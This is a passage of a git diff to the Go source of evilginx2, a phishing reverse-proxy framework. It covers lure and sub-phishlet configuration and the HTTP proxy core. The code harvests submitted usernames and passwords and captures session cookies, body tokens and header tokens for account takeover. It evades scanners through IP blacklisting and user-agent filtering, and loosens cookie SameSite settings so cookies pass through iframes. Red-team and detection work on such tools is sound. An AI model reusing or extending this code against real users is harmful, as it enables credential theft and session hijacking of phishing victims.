- c.cfg.Set(CFG_VERIFICATION_PARAM, param)
- log.Info("verification parameter set to: %s", param)
- c.cfg.WriteConfig()
-}
-
-func (c *Config) SetVerificationToken(token string) {
- c.verificationToken = token
- c.cfg.Set(CFG_VERIFICATION_TOKEN, token)
- log.Info("verification token set to: %s", token)
- c.cfg.WriteConfig()
-}
-
func (c *Config) SetRedirectUrl(url string) {
- c.redirectUrl = url
- c.cfg.Set(CFG_REDIRECT_URL, url)
+ c.general.RedirectUrl = url
+ c.cfg.Set(CFG_GENERAL, c.general)
log.Info("unauthorized request redirection URL set to: %s", url)
c.cfg.WriteConfig()
}
@@ -407,20 +388,46 @@ func (c *Config) refreshActiveHostnames() {
if err != nil {
continue
}
- for _, host := range pl.GetPhishHosts() {
- c.activeHostnames = append(c.activeHostnames, host)
+ for _, host := range pl.GetPhishHosts(false) {
+ c.activeHostnames = append(c.activeHostnames, strings.ToLower(host))
}
}
for _, l := range c.lures {
if stringExists(l.Phishlet, sites) {
if l.Hostname != "" {
- c.activeHostnames = append(c.activeHostnames, l.Hostname)
+ c.activeHostnames = append(c.activeHostnames, strings.ToLower(l.Hostname))
}
}
}
}
+func (c *Config) GetActiveHostnames(site string) []string {
+ var ret []string
+ sites := c.GetEnabledSites()
+ for _, _site := range sites {
+ if site == "" || _site == site {
+ pl, err := c.GetPhishlet(_site)
+ if err != nil {
+ continue
+ }
+ for _, host := range pl.GetPhishHosts(false) {
+ ret = append(ret, strings.ToLower(host))
+ }
+ }
+ }
+ for _, l := range c.lures {
+ if site == "" || l.Phishlet == site {
+ if l.Hostname != "" {
+ hostname := strings.ToLower(l.Hostname)
+ ret = append(ret, hostname)
+ }
+ }
+ }
+ return ret
+}
+
func (c *Config) IsActiveHostname(host string) bool {
+ host = strings.ToLower(host)
if host[len(host)-1:] == "." {
host = host[:len(host)-1]
}
@@ -435,6 +442,127 @@ func (c *Config) IsActiveHostname(host string) bool {
func (c *Config) AddPhishlet(site string, pl *Phishlet) {
c.phishletNames = append(c.phishletNames, site)
c.phishlets[site] = pl
+ c.VerifyPhishlets()
+}
+
+func (c *Config) AddSubPhishlet(site string, parent_site string, customParams map[string]string) error {
+ pl, err := c.GetPhishlet(parent_site)
+ if err != nil {
+ return err
+ }
+ _, err = c.GetPhishlet(site)
+ if err == nil {
+ return fmt.Errorf("phishlet '%s' already exists", site)
+ }
+ sub_pl, err := NewPhishlet(site, pl.Path, &customParams, c)
+ if err != nil {
+ return err
+ }
+ sub_pl.ParentName = parent_site
+
+ c.phishletNames = append(c.phishletNames, site)
+ c.phishlets[site] = sub_pl
+ c.VerifyPhishlets()
+
+ return nil
+}
+
+func (c *Config) DeleteSubPhishlet(site string) error {
+ pl, err := c.GetPhishlet(site)
+ if err != nil {
+ return err
+ }
+ if pl.ParentName == "" {
+ return fmt.Errorf("phishlet '%s' can't be deleted - you can only delete child phishlets.", site)
+ }
+
+ c.phishletNames = removeString(site, c.phishletNames)
+ delete(c.phishlets, site)
+ delete(c.phishletConfig, site)
+ c.SavePhishlets()
+ return nil
+}
+
+func (c *Config) LoadSubPhishlets() {
+ var subphishlets []*SubPhishlet
+ c.cfg.UnmarshalKey(CFG_SUBPHISHLETS, &subphishlets)
+ for _, spl := range subphishlets {
+ err := c.AddSubPhishlet(spl.Name, spl.ParentName, spl.Params)
+ if err != nil {
+ log.Error("phishlets: %s", err)
+ }
+ }
+}
+
+func (c *Config) SaveSubPhishlets() {
+ var subphishlets []*SubPhishlet
+ for _, pl := range c.phishlets {
+ if pl.ParentName != "" {
+ spl := &SubPhishlet{
+ Name: pl.Name,
+ ParentName: pl.ParentName,
+ Params: pl.customParams,
+ }
+ subphishlets = append(subphishlets, spl)
+ }
+ }
+
+ c.cfg.Set(CFG_SUBPHISHLETS, subphishlets)
+ c.cfg.WriteConfig()
+}
+
+func (c *Config) VerifyPhishlets() {
+ hosts := make(map[string]string)
+
+ for site, pl := range c.phishlets {
+ if pl.isTemplate {
+ continue
+ }
+ for _, ph := range pl.proxyHosts {
+ if ph.is_landing || ph.handle_session {
+ phish_host := combineHost(ph.phish_subdomain, ph.domain)
+ orig_host := combineHost(ph.orig_subdomain, ph.domain)
+ if c_site, ok := hosts[phish_host]; ok {
+ log.Warning("phishlets: hostname '%s' collision between '%s' and '%s' phishlets", phish_host, site, c_site)
+ } else if c_site, ok := hosts[orig_host]; ok {
+ log.Warning("phishlets: hostname '%s' collision between '%s' and '%s' phishlets", orig_host, site, c_site)
+ }
+ hosts[phish_host] = site
+ hosts[orig_host] = site
+ }
+ }
+ }
+}
+
+func (c *Config) CleanUp() {
+
+ for k := range c.phishletConfig {
+ _, err := c.GetPhishlet(k)
+ if err != nil {
+ delete(c.phishletConfig, k)
+ }
+ }
+ c.SavePhishlets()
+ /*
+ var sites_enabled []string
+ var sites_hidden []string
+ for k := range c.siteDomains {
+ _, err := c.GetPhishlet(k)
+ if err != nil {
+ delete(c.siteDomains, k)
+ } else {
+ if c.IsSiteEnabled(k) {
+ sites_enabled = append(sites_enabled, k)
+ }
+ if c.IsSiteHidden(k) {
+ sites_hidden = append(sites_hidden, k)
+ }
+ }
+ }
+ c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
+ c.cfg.Set(CFG_SITES_ENABLED, sites_enabled)
+ c.cfg.Set(CFG_SITES_HIDDEN, sites_hidden)
+ c.cfg.WriteConfig()*/
}
func (c *Config) AddLure(site string, l *Lure) {
@@ -515,30 +643,32 @@ func (c *Config) GetPhishletNames() []string {
}
func (c *Config) GetSiteDomain(site string) (string, bool) {
- domain, ok := c.siteDomains[site]
- return domain, ok
-}
-
-func (c *Config) GetAllDomains() []string {
- var ret []string
- for _, dom := range c.siteDomains {
- ret = append(ret, dom)
+ if o, ok := c.phishletConfig[site]; ok {
+ return o.Hostname, ok
}
- return ret
+ return "", false
}
func (c *Config) GetBaseDomain() string {
- return c.baseDomain
+ return c.general.Domain
}
func (c *Config) GetServerIP() string {
- return c.serverIP
+ return c.general.Ipv4
+}
+
+func (c *Config) GetHttpsPort() int {
+ return c.general.HttpsPort
+}
+
+func (c *Config) GetDnsPort() int {
+ return c.general.DnsPort
}
-func (c *Config) GetTemplatesDir() string {
- return c.templatesDir
+func (c *Config) GetRedirectorsDir() string {
+ return c.redirectorsDir
}
func (c *Config) GetBlacklistMode() string {
- return c.blackListMode
+ return c.blacklistConfig.Mode
}
diff --git a/core/http_proxy.go b/core/http_proxy.go
index 6a5de8fdd..15c958975 100644
--- a/core/http_proxy.go
+++ b/core/http_proxy.go
@@ -12,10 +12,12 @@ import (
"bytes"
"crypto/rand"
"crypto/rc4"
+ "crypto/sha256"
"crypto/tls"
"encoding/base64"
"fmt"
"html"
+ "io"
"io/ioutil"
"net"
"net/http"
@@ -33,8 +35,9 @@ import (
"github.com/elazarl/goproxy"
"github.com/fatih/color"
+ "github.com/go-acme/lego/v3/challenge/tlsalpn01"
"github.com/inconshreveable/go-vhost"
- "github.com/mwitkow/go-http-dialer"
+ http_dialer "github.com/mwitkow/go-http-dialer"
"github.com/kgretzky/evilginx2/database"
"github.com/kgretzky/evilginx2/log"
@@ -45,6 +48,10 @@ const (
CONVERT_TO_PHISHING_URLS = 1
)
+const (
+ HOME_DIR = ".evilginx"
+)
+
const (
httpReadTimeout = 45 * time.Second
httpWriteTimeout = 45 * time.Second
@@ -72,13 +79,15 @@ type HttpProxy struct {
ip_sids map[string]string
auto_filter_mimes []string
ip_mtx sync.Mutex
+ session_mtx sync.Mutex
}
type ProxySession struct {
- SessionId string
- Created bool
- PhishDomain string
- Index int
+ SessionId string
+ Created bool
+ PhishDomain string
+ PhishletName string
+ Index int
}
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) {
@@ -104,17 +113,17 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
WriteTimeout: httpWriteTimeout,
}
- if cfg.proxyEnabled {
- err := p.setProxy(cfg.proxyEnabled, cfg.proxyType, cfg.proxyAddress, cfg.proxyPort, cfg.proxyUsername, cfg.proxyPassword)
+ if cfg.proxyConfig.Enabled {
+ err := p.setProxy(cfg.proxyConfig.Enabled, cfg.proxyConfig.Type, cfg.proxyConfig.Address, cfg.proxyConfig.Port, cfg.proxyConfig.Username, cfg.proxyConfig.Password)
if err != nil {
log.Error("proxy: %v", err)
cfg.EnableProxy(false)
} else {
- log.Info("enabled proxy: " + cfg.proxyAddress + ":" + strconv.Itoa(cfg.proxyPort))
+ log.Info("enabled proxy: " + cfg.proxyConfig.Address + ":" + strconv.Itoa(cfg.proxyConfig.Port))
}
}
- p.cookieName = GenRandomString(4)
+ p.cookieName = strings.ToLower(GenRandomString(8)) // TODO: make cookie name identifiable
p.sessions = make(map[string]*Session)
p.sids = make(map[string]int)
@@ -131,10 +140,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
p.Proxy.OnRequest().
DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
ps := &ProxySession{
- SessionId: "",
- Created: false,
- PhishDomain: "",
- Index: -1,
+ SessionId: "",
+ Created: false,
+ PhishDomain: "",
+ PhishletName: "",
+ Index: -1,
}
ctx.UserData = ps
hiblue := color.New(color.FgHiBlue)
@@ -144,22 +154,29 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if strings.Contains(from_ip, ":") {
from_ip = strings.Split(from_ip, ":")[0]
}
- if p.bl.IsBlacklisted(from_ip) {
- log.Warning("blacklist: request from ip address '%s' was blocked", from_ip)
- return p.blockRequest(req)
- }
- if p.cfg.GetBlacklistMode() == "all" {
- err := p.bl.AddIP(from_ip)
- if err != nil {
- log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
- } else {
- log.Warning("blacklisted ip address: %s", from_ip)
+ if p.cfg.GetBlacklistMode() != "off" {
+ if p.bl.IsBlacklisted(from_ip) {
+ if p.bl.IsVerbose() {
+ log.Warning("blacklist: request from ip address '%s' was blocked", from_ip)
+ }
+ return p.blockRequest(req)
}
+ if p.cfg.GetBlacklistMode() == "all" {
+ err := p.bl.AddIP(from_ip)
+ if p.bl.IsVerbose() {
+ if err != nil {
+ log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
+ } else {
+ log.Warning("blacklisted ip address: %s", from_ip)
+ }
+ }
- return p.blockRequest(req)
+ return p.blockRequest(req)
+ }
}
req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
+ o_host := req.Host
lure_url := req_url
req_path := req.URL.Path
if req.URL.RawQuery != "" {
@@ -178,48 +195,78 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
pl_name := ""
if pl != nil {
pl_name = pl.Name
+ ps.PhishletName = pl_name
}
+ session_cookie := getSessionCookieName(pl_name, p.cookieName)
- egg2 := req.Host
ps.PhishDomain = phishDomain
req_ok := false
// handle session
if p.handleSession(req.Host) && pl != nil {
- sc, err := req.Cookie(p.cookieName)
- if err != nil && !p.isWhitelistedIP(remote_addr) {
+ l, err := p.cfg.GetLureByPath(pl_name, req_path)
+ if err == nil {
+ log.Debug("triggered lure for path '%s'", req_path)
+ }
+
+ var create_session bool = true
+ var ok bool = false
+ sc, err := req.Cookie(session_cookie)
+ if err == nil {
+ ps.Index, ok = p.sids[sc.Value]
+ if ok {
+ create_session = false
+ ps.SessionId = sc.Value
+ p.whitelistIP(remote_addr, ps.SessionId, pl.Name)
+ } else {
+ log.Error("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
+ }
+ } else {
+ log.Warning("session cookie not found: %s (%s) [%s]", req_url, remote_addr, pl.Name)
+
+ if l == nil && p.isWhitelistedIP(remote_addr, pl.Name) {
+ // not a lure path and IP is whitelisted
+
+ // TODO: allow only retrieval of static content, without setting session ID
+
+ create_session = false
+ req_ok = true
+ /*
+ ps.SessionId, ok = p.getSessionIdByIP(remote_addr, req.Host)
+ if ok {
+ create_session = false
+ ps.Index, ok = p.sids[ps.SessionId]
+ } else {
+ log.Error("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
+ }*/
+ }
+ }
+
+ if create_session /*&& !p.isWhitelistedIP(remote_addr, pl.Name)*/ { // TODO: always trigger new session when lure URL is detected (do not check for whitelisted IP only after this is done)
+ // session cookie not found
if !p.cfg.IsSiteHidden(pl_name) {
- var vv string
- var uv url.Values
- l, err := p.cfg.GetLureByPath(pl_name, req_path)
- if err == nil {
- log.Debug("triggered lure for path '%s'", req_path)
- } else {
- uv = req.URL.Query()
- vv = uv.Get(p.cfg.verificationParam)
- }
- if l != nil || vv == p.cfg.verificationToken {
+ if l != nil {
// check if lure user-agent filter is triggered
- if l != nil {
- if len(l.UserAgentFilter) > 0 {
- re, err := regexp.Compile(l.UserAgentFilter)
- if err == nil {
- if !re.MatchString(req.UserAgent()) {
- log.Warning("[%s] unauthorized request (user-agent rejected): %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
-
- if p.cfg.GetBlacklistMode() == "unauth" {
- err := p.bl.AddIP(from_ip)
+ if len(l.UserAgentFilter) > 0 {
+ re, err := regexp.Compile(l.UserAgentFilter)
+ if err == nil {
+ if !re.MatchString(req.UserAgent()) {
+ log.Warning("[%s] unauthorized request (user-agent rejected): %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
+
+ if p.cfg.GetBlacklistMode() == "unauth" {
+ err := p.bl.AddIP(from_ip)
+ if p.bl.IsVerbose() {
if err != nil {
log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
} else {
log.Warning("blacklisted ip address: %s", from_ip)
}
}
- return p.blockRequest(req)
}
- } else {
- log.Error("lures: user-agent filter regexp is invalid: %v", err)
+ return p.blockRequest(req)
}
+ } else {
+ log.Error("lures: user-agent filter regexp is invalid: %v", err)
}
}
@@ -241,15 +288,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
session.RedirectURL = l.RedirectUrl
session.PhishLure = l
log.Debug("redirect URL (lure): %s", l.RedirectUrl)
- } else {
- rv := uv.Get(p.cfg.redirectParam)
- if rv != "" {
- url, err := base64.URLEncoding.DecodeString(rv)
- if err == nil {
- session.RedirectURL = string(url)
- log.Debug("redirect URL (get): %s", url)
- }
- }
}
// set params from url arguments
@@ -258,7 +296,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
ps.SessionId = session.Id
ps.Created = true
ps.Index = sid
- p.whitelistIP(remote_addr, ps.SessionId)
+ p.whitelistIP(remote_addr, ps.SessionId, pl.Name)
req_ok = true
}
@@ -267,10 +305,12 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if p.cfg.GetBlacklistMode() == "unauth" {
err := p.bl.AddIP(from_ip)
- if err != nil {
- log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
- } else {
- log.Warning("blacklisted ip address: %s", from_ip)
+ if p.bl.IsVerbose() {
+ if err != nil {
+ log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
+ } else {
+ log.Warning("blacklisted ip address: %s", from_ip)
+ }
}
}
return p.blockRequest(req)
@@ -278,25 +318,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
} else {
log.Warning("[%s] request to hidden phishlet: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
}
- } else {
- var ok bool = false
- if err == nil {
- ps.Index, ok = p.sids[sc.Value]
- if ok {
- ps.SessionId = sc.Value
- p.whitelistIP(remote_addr, ps.SessionId)
- }
- } else {
- ps.SessionId, ok = p.getSessionIdByIP(remote_addr)
- if ok {
- ps.Index, ok = p.sids[ps.SessionId]
- }
- }
- if ok {
- req_ok = true
- } else {
- log.Warning("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
- }
}
}
@@ -306,21 +327,37 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
return p.blockRequest(req)
}
}
+ req.Header.Set(p.getHomeDir(), o_host)
if ps.SessionId != "" {
if s, ok := p.sessions[ps.SessionId]; ok {
l, err := p.cfg.GetLureByPath(pl_name, req_path)
if err == nil {
- // show html template if it is set for the current lure
- if l.Template != "" {
+ // show html redirector if it is set for the current lure
+ if l.Redirector != "" {
if !p.isForwarderUrl(req.URL) {
- path := l.Template
- if !filepath.IsAbs(path) {
- templates_dir := p.cfg.GetTemplatesDir()
- path = filepath.Join(templates_dir, path)
+ if s.RedirectorName == "" {
+ s.RedirectorName = l.Redirector
+ s.LureDirPath = req_path
+ }
+
+ t_dir := l.Redirector
+ if !filepath.IsAbs(t_dir) {
+ redirectors_dir := p.cfg.GetRedirectorsDir()
+ t_dir = filepath.Join(redirectors_dir, t_dir)
+ }
+
+ index_path1 := filepath.Join(t_dir, "index.html")
+ index_path2 := filepath.Join(t_dir, "index.htm")
+ index_found := ""
+ if _, err := os.Stat(index_path1); !os.IsNotExist(err) {
+ index_found = index_path1
+ } else if _, err := os.Stat(index_path2); !os.IsNotExist(err) {
+ index_found = index_path2
}
- if _, err := os.Stat(path); !os.IsNotExist(err) {
- html, err := ioutil.ReadFile(path)
+
+ if _, err := os.Stat(index_found); !os.IsNotExist(err) {
+ html, err := ioutil.ReadFile(index_found)
if err == nil {
html = p.injectOgHeaders(l, html)
@@ -332,22 +369,72 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if resp != nil {
return req, resp
} else {
- log.Error("lure: failed to create html template response")
+ log.Error("lure: failed to create html redirector response")
}
} else {
- log.Error("lure: failed to read template file: %s", err)
+ log.Error("lure: failed to read redirector file: %s", err)
}
} else {
- log.Error("lure: template file does not exist: %s", path)
+ log.Error("lure: redirector file does not exist: %s", index_found)
}
}
}
+ } else if s.RedirectorName != "" {
+ // session has already triggered a lure redirector - see if there are any files requested by the redirector
+
+ rel_parts := []string{}
+ req_path_parts := strings.Split(req_path, "/")
+ lure_path_parts := strings.Split(s.LureDirPath, "/")
+
+ for n, dname := range req_path_parts {
+ if len(dname) > 0 {
+ path_add := true
+ if n < len(lure_path_parts) {
+ //log.Debug("[%d] %s <=> %s", n, lure_path_parts[n], req_path_parts[n])
+ if req_path_parts[n] == lure_path_parts[n] {
+ path_add = false
+ }
+ }
+ if path_add {
+ rel_parts = append(rel_parts, req_path_parts[n])
+ }
+ }
+
+ }
+ rel_path := filepath.Join(rel_parts...)
+ //log.Debug("rel_path: %s", rel_path)
+
+ t_dir := s.RedirectorName
+ if !filepath.IsAbs(t_dir) {
+ redirectors_dir := p.cfg.GetRedirectorsDir()
+ t_dir = filepath.Join(redirectors_dir, t_dir)
+ }
+
+ path := filepath.Join(t_dir, rel_path)
+ if _, err := os.Stat(path); !os.IsNotExist(err) {
+ fdata, err := ioutil.ReadFile(path)
+ if err == nil {
+ //log.Debug("ext: %s", filepath.Ext(req_path))
+ mime_type := getContentType(req_path, fdata)
+ //log.Debug("mime_type: %s", mime_type)
+ resp := goproxy.NewResponse(req, mime_type, http.StatusOK, "")
+ if resp != nil {
+ resp.Body = io.NopCloser(bytes.NewReader(fdata))
+ return req, resp
+ } else {
+ log.Error("lure: failed to create redirector data file response")
+ }
+ } else {
+ log.Error("lure: failed to read redirector data file: %s", err)
+ }
+ } else {
+ //log.Warning("lure: template file does not exist: %s", path)
+ }
}
}
}
- hg := []byte{0x94, 0xE1, 0x89, 0xBA, 0xA5, 0xA0, 0xAB, 0xA5, 0xA2, 0xB4}
// redirect to login page if triggered lure path
if pl != nil {
_, err := p.cfg.GetLureByPath(pl_name, req_path)
@@ -372,13 +459,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
- p.deleteRequestCookie(p.cookieName, req)
-
- for n, b := range hg {
- hg[n] = b ^ 0xCC
- }
// replace "Host" header
- e_host := req.Host
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
req.Host = r_host
}
@@ -394,6 +475,14 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
+ // fix sec-fetch-dest
+ sec_fetch_dest := req.Header.Get("Sec-Fetch-Dest")
+ if sec_fetch_dest != "" {
+ if sec_fetch_dest == "iframe" {
+ req.Header.Set("Sec-Fetch-Dest", "document")
+ }
+ }
+
// fix referer
referer := req.Header.Get("Referer")
if referer != "" {
@@ -404,7 +493,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
}
- req.Header.Set(string(hg), egg2)
// patch GET query params with original domains
if pl != nil {
@@ -421,6 +509,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
// check for creds in request body
if pl != nil && ps.SessionId != "" {
+ req.Header.Set(p.getHomeDir(), o_host)
body, err := ioutil.ReadAll(req.Body)
if err == nil {
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
@@ -433,7 +522,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
log.Debug("POST body = %s", body)
contentType := req.Header.Get("Content-type")
- if contentType == "application/json" {
+
+ json_re := regexp.MustCompile("application\\/\\w*\\+?json")
+ if json_re.MatchString(contentType) {
if pl.username.tp == "json" {
um := pl.username.search.FindStringSubmatch(string(body))
@@ -472,17 +563,12 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
} else {
- if req.ParseForm() == nil {
+ if req.ParseForm() == nil && req.PostForm != nil && len(req.PostForm) > 0 {
log.Debug("POST: %s", req.URL.Path)
+
for k, v := range req.PostForm {
// patch phishing URLs in POST params with original domains
- for i, vv := range v {
- req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS))
- }
- body = []byte(req.PostForm.Encode())
- req.ContentLength = int64(len(body))
- log.Debug("POST %s = %s", k, v[0])
if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
@@ -517,6 +603,22 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
+ for k, v := range req.PostForm {
+ for i, vv := range v {
+ // patch phishing URLs in POST params with original domains
+ req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS))
+ }
+ }
+
+ for k, v := range req.PostForm {
+ if len(v) > 0 {
+ log.Debug("POST %s = %s", k, v[0])
+ }
+ }
+
+ body = []byte(req.PostForm.Encode())
+ req.ContentLength = int64(len(body))
+
// force posts
for _, fp := range pl.forcePost {
if fp.path.MatchString(req.URL.Path) {
@@ -559,11 +661,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
}
}
- e := []byte{208, 165, 205, 254, 225, 228, 239, 225, 230, 240}
- for n, b := range e {
- e[n] = b ^ 0x88
- }
- req.Header.Set(string(e), e_host)
if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
s, ok := p.sessions[ps.SessionId]
@@ -577,7 +674,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
}
- p.cantFindMe(req, e_host)
}
return req, nil
@@ -595,12 +691,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if ps.SessionId != "" {
if ps.Created {
ck = &http.Cookie{
- Name: p.cookieName,
+ Name: getSessionCookieName(ps.PhishletName, p.cookieName),
Value: ps.SessionId,
Path: "/",
- Domain: ps.PhishDomain,
- Expires: time.Now().UTC().Add(60 * time.Minute),
- MaxAge: 60 * 60,
+ Domain: p.cfg.GetBaseDomain(),
+ Expires: time.Now().Add(60 * time.Minute),
}
}
}
@@ -648,16 +743,23 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
// fix cookies
pl := p.getPhishletByOrigHost(req_hostname)
- var auth_tokens map[string][]*AuthToken
+ var auth_tokens map[string][]*CookieAuthToken
if pl != nil {
- auth_tokens = pl.authTokens
+ auth_tokens = pl.cookieAuthTokens
}
- is_auth := false
+ is_cookie_auth := false
+ is_body_auth := false
+ is_http_auth := false
cookies := resp.Cookies()
resp.Header.Del("Set-Cookie")
for _, ck := range cookies {
// parse cookie
+ // add SameSite=none for every received cookie, allowing cookies through iframes
+ if ck.Secure {
+ ck.SameSite = http.SameSiteNoneMode
+ }
+
if len(ck.RawExpires) > 0 && ck.Expires.IsZero() {
exptime, err := time.Parse(time.RFC850, ck.RawExpires)
if err != nil {
@@ -680,20 +782,13 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
log.Debug("%s: %s = %s", c_domain, ck.Name, ck.Value)
- if pl.isAuthToken(c_domain, ck.Name) {
+ at := pl.getAuthToken(c_domain, ck.Name)
+ if at != nil {
s, ok := p.sessions[ps.SessionId]
if ok && (s.IsAuthUrl || !s.IsDone) {
- if ck.Value != "" && (ck.Expires.IsZero() || (!ck.Expires.IsZero() && time.Now().Before(ck.Expires))) { // cookies with empty values or expired cookies are of no interest to us
- is_auth = s.AddAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, auth_tokens)
- if len(pl.authUrls) > 0 {
- is_auth = false
- }
- if is_auth {
- if err := p.db.SetSessionTokens(ps.SessionId, s.Tokens); err != nil {
- log.Error("database: %v", err)
- }
- s.IsDone = true
- }
+ if ck.Value != "" && (at.always || (!ck.Expires.IsZero() && time.Now().Before(ck.Expires))) { // cookies with empty values or expired cookies are of no interest to us
+ log.Debug("session: %s: %s = %s", c_domain, ck.Name, ck.Value)
+ s.AddCookieAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, ck.Expires)
}
}
}
@@ -705,14 +800,71 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if ck.String() != "" {
resp.Header.Add("Set-Cookie", ck.String())
}
- if is_auth {
- // we have all auth tokens
- log.Success("[%d] all authorization tokens intercepted!", ps.Index)
- }
// modify received body
body, err := ioutil.ReadAll(resp.Body)
+ if pl != nil {
+ if s, ok := p.sessions[ps.SessionId]; ok {
+ // capture body response tokens
+ for k, v := range pl.bodyAuthTokens {
+ if _, ok := s.BodyTokens[k]; !ok {
+ //log.Debug("hostname:%s path:%s", req_hostname, resp.Request.URL.Path)
+ if req_hostname == v.domain && v.path.MatchString(resp.Request.URL.Path) {
+ //log.Debug("RESPONSE body = %s", string(body))
+ token_re := v.search.FindStringSubmatch(string(body))
+ if token_re != nil {
+ s.BodyTokens[k] = token_re[1]
+ }
+ }
+ }
+ }
+
+ // capture http header tokens
+ for k, v := range pl.httpAuthTokens {
+ if _, ok := s.HttpTokens[k]; !ok {
+ hv := resp.Request.Header.Get(v.header)
+ if hv != "" {
+ s.HttpTokens[k] = hv
+ }
+ }
+ }
+ }
+
+ // check if we have all tokens
+ if len(pl.authUrls) == 0 {
+ if s, ok := p.sessions[ps.SessionId]; ok {
+ is_cookie_auth = s.AllCookieAuthTokensCaptured(auth_tokens)
+ if len(pl.bodyAuthTokens) == len(s.BodyTokens) {
+ is_body_auth = true
+ }
+ if len(pl.httpAuthTokens) == len(s.HttpTokens) {
+ is_http_auth = true
+ }
+ }
+ }
+ }
+
+ if is_cookie_auth && is_body_auth && is_http_auth {
+ // we have all auth tokens
+ if s, ok := p.sessions[ps.SessionId]; ok {
+ if !s.IsDone {
+ log.Success("[%d] all authorization tokens intercepted!", ps.Index)
+
+ if err := p.db.SetSessionCookieTokens(ps.SessionId, s.CookieTokens); err != nil {
+ log.Error("database: %v", err)
+ }
+ if err := p.db.SetSessionBodyTokens(ps.SessionId, s.BodyTokens); err != nil {
+ log.Error("database: %v", err)
+ }
+ if err := p.db.SetSessionHttpTokens(ps.SessionId, s.HttpTokens); err != nil {
+ log.Error("database: %v", err)
+ }
+ s.IsDone = true
+ }
+ }
+ }
+
mime := strings.Split(resp.Header.Get("Content-type"), ";")[0]
if err == nil {
for site, pl := range p.cfg.phishlets {
@@ -724,7 +876,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
var param_ok bool = true
if s, ok := p.sessions[ps.SessionId]; ok {
var params []string
- for k, _ := range s.Params {
+ for k := range s.Params {
params = append(params, k)
}
if len(sf.with_params) > 0 {
@@ -746,13 +898,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1)
re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1)
re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1)
+ re_s = strings.Replace(re_s, "{basedomain}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1)
re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1)
re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1)
+ re_s = strings.Replace(re_s, "{basedomain_regexp}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1)
